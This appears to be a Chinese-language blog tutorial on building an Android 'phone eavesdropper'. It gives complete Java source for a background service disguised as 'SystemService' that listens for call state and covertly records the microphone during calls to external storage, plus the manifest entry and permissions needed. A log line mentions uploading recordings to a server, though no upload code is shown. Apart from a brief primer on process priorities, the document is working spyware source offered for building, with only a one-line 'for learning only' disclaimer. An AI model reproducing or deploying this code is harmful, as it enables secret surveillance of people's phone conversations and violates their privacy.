標籤:安卓 線程 組件 管理 電話竊聽
寫這個小程式首先需要瞭解安卓系統的後台服務怎麼實現。Service是安卓的四大組件之一。
其次需要瞭解安卓的進程管理,一個安卓程式關閉後,程式雖然不可見,但是程式的進程往往沒有被殺掉,目的是下次啟動的時候方便,但是記憶體資源有限,不可能無限制的保留線程在記憶體中的狀態,所以安卓採用任務棧的方式來管理進程。當記憶體資源不足時,通過將任務棧中優先順序比較低的進程殺掉來釋放資源。
安卓有5個進程優先順序:
1.前台進程 (Foreground process) 目前使用者正在使用的進程
2.可視進程(Visible process) 使用者能看到當前進程的介面,但是該進程不一定是使用者正在使用的
3.服務進程(Service process) 使用者程式的服務元件在後台運行
4.後台進程(Background process) 應用程式沒有服務元件在運行,程式處於最小化狀態
5.空進程(Empty process) 沒有任何的activity
優先順序由上到下降低,任務棧先殺進程的話肯定先殺空進程了。
電話竊聽器的實現的話就是在後台維護一個Service來監聽使用者的打電話狀態了,將電話錄音。
1.後台服務的啟動一般使用Intent,並且使用隱式意圖。
//開啟服務。 Intent intent = new Intent(this,SystemService.class); startService(intent); }
//停止服務。 Intent intent = new Intent(this,SystemService.class); stopService(intent);
2.SystemService是我們實現的功能類,繼承自Service。
public class SystemService extends Service { // 電話管理器 private TelephonyManager tm; // 監聽器對象 private MyListener listener; //聲明錄音機 private MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent intent) { return null; } // 服務建立的時候調用的方法 @Override public void onCreate() { // 後台監聽電話的呼叫狀態。 // 得到電話管理器 tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE); listener = new MyListener(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener { // 當電話的呼叫狀態發生變化的時候調用的方法 @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); try { switch (state) { case TelephonyManager.CALL_STATE_IDLE://空閑狀態。 if(mediaRecorder!=null){ //8.停止捕獲 mediaRecorder.stop(); //9.釋放資源 mediaRecorder.release(); mediaRecorder = null; System.out.println("錄製完畢,上傳檔案到伺服器。"); } break; case TelephonyManager.CALL_STATE_RINGING://零響狀態。 break; case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態 //開始錄音 //1.執行個體化一個錄音機 mediaRecorder = new MediaRecorder(); //2.指定錄音機的聲音源 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //3.設定錄製的檔案輸出的格式 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); //4.指定錄音檔案的名稱 File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp"); mediaRecorder.setOutputFile(file.getAbsolutePath()); //5.設定音訊編碼 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); //6.準備開始錄音 mediaRecorder.prepare(); //7.開始錄音 mediaRecorder.start(); break; } } catch (Exception e) { e.printStackTrace(); } } } // 服務銷毀的時候調用的方法 @Override public void onDestroy() { super.onDestroy(); // 取消電話的監聽 System.out.println("ondestory"); tm.listen(listener, PhoneStateListener.LISTEN_NONE); listener = null; }}
3.Service要在AndroidMainfest.xml中配置下
<service android:name="com.itheima.phonelistener.SystemService" ></service>
4.許可權相關。
<uses-permission android:name="android.permission.READ_PHONE_STATE" /><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /><uses-permission android:name="android.permission.RECORD_AUDIO" /><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
安卓電話竊聽器小程式(僅用於學習)